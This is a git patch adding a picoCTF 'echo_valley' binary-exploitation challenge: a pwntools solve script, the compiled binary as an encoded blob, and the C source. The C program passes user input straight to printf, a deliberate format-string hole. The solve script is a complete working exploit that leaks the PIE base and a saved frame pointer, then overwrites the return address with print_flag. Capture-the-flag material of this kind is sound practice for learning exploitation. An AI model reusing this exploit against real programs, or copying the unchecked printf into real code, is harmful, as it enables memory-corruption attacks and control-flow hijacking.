From 3cd3d35edfd728977069a6e6a68d8bb1ddf8ba10 Mon Sep 17 00:00:00 2001 From: h7x4 Date: Thu, 2 Jul 2026 10:26:57 +0900 Subject: [PATCH] pwn/echo_valley --- pwn/echo_valley/solve.py | 83 +++++++++++++++++++++++++++++++++++++++ pwn/echo_valley/valley | Bin 0 -> 19584 bytes pwn/echo_valley/valley.c | 49 +++++++++++++++++++++++ 3 files changed, 132 insertions(+) create mode 100755 pwn/echo_valley/solve.py create mode 100755 pwn/echo_valley/valley create mode 100644 pwn/echo_valley/valley.c diff --git a/pwn/echo_valley/solve.py b/pwn/echo_valley/solve.py new file mode 100755 index 0000000..bf43f3a --- /dev/null +++ b/pwn/echo_valley/solve.py @@ -0,0 +1,83 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])" + +from this import s +from pwn import * + +exe = ELF("./valley") + +context.binary = exe + +ADDR, PORT, *_ = "shape-facility.picoctf.net 65509".split() + +def conn(): + if args.REMOTE: + r = remote(ADDR, PORT) + else: + r = process([exe.path]) + + return r + +def send_fmt_payload(r: remote, payload: bytes) -> bytes: + assert len(payload) < 0x100, "Payload too long" + r.sendline(payload) + r.recvuntil(b'You heard in the distance: ') + return r.recvuntil(b'\n').strip() + +def debug_leak_multiple(r: remote) -> None: + for i in range(1, 35): + result = send_fmt_payload(r, f"%{i}$p".encode()) + print(f"{i}, {result}") + +def stage_1_leak_base_address(r: remote) -> None: + main_func_arg = 27 + result = send_fmt_payload(r, f"%{main_func_arg}$p".encode()) + leaked_address = int(result[2:], 16) + base_address = leaked_address - exe.symbols['main'] + exe.address = base_address + print(f"Leaked base address: 0x{base_address:x}") + assert exe.address & 0xfff == 0, "Base address is not page aligned" + +def stage_2_leak_main_rip_addr(r: remote) -> int: + main_rbp_offset = 20 + result = send_fmt_payload(r, f"%{main_rbp_offset}$p".encode()) + main_rbp = int(result[2:], 16) + main_rip_addr = main_rbp - 0x08 + print(f"Leaked main's rip address: 0x{main_rip_addr:x}") + return main_rip_addr + +def stage_3_overwrite_return_address(r: remote, main_rip_addr: int) -> None: + payload = fmtstr_payload( + 6, + {main_rip_addr: exe.symbols['print_flag']}, + write_size='short' + ) + r.sendline(payload) + +def main(): + r = conn() + + # gdb.attach(r, gdbscript=''' + # break *echo_valley+137 + # info proc mappings + # c + # ''') + + r.recvuntil(b'Welcome to the Echo Valley, Try Shouting: \n') + + # debug_leak_multiple(r) + stage_1_leak_base_address(r) + main_rip_addr = stage_2_leak_main_rip_addr(r) + stage_3_overwrite_return_address(r, main_rip_addr) + + r.sendline(b'exit') + + result = r.recvall() + if b"picoctf{" in result: + flag = result.split(b"picoctf{")[1].split(b"}")[0] + print(f"Flag: picoCTF{{{flag.decode()}}}") + else: + print("Flag not found in output.") + +if __name__ == "__main__": + main() diff --git a/pwn/echo_valley/valley b/pwn/echo_valley/valley new file mode 100755 index 0000000000000000000000000000000000000000..fac975ca37637faac26068422ee2963e88245c3a GIT binary patch literal 19584 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 N2&Nda&@`ZN8369w5840# literal 0 HcmV?d00001 diff --git a/pwn/echo_valley/valley.c b/pwn/echo_valley/valley.c new file mode 100644 index 0000000..f86b7da --- /dev/null +++ b/pwn/echo_valley/valley.c @@ -0,0 +1,49 @@ +#include +#include +#include + +void print_flag() { + char buf[32]; + FILE *file = fopen("/home/valley/flag.txt", "r"); + + if (file == NULL) { + perror("Failed to open flag file"); + exit(EXIT_FAILURE); + } + + fgets(buf, sizeof(buf), file); + printf("Congrats! Here is your flag: %s", buf); + fclose(file); + exit(EXIT_SUCCESS); +} + +void echo_valley() { + printf("Welcome to the Echo Valley, Try Shouting: \n"); + + char buf[100]; + + while(1) + { + fflush(stdout); + if (fgets(buf, sizeof(buf), stdin) == NULL) { + printf("\nEOF detected. Exiting...\n"); + exit(0); + } + + if (strcmp(buf, "exit\n") == 0) { + printf("The Valley Disappears\n"); + break; + } + + printf("You heard in the distance: "); + printf(buf); + fflush(stdout); + } + fflush(stdout); +} + +int main() +{ + echo_valley(); + return 0; +}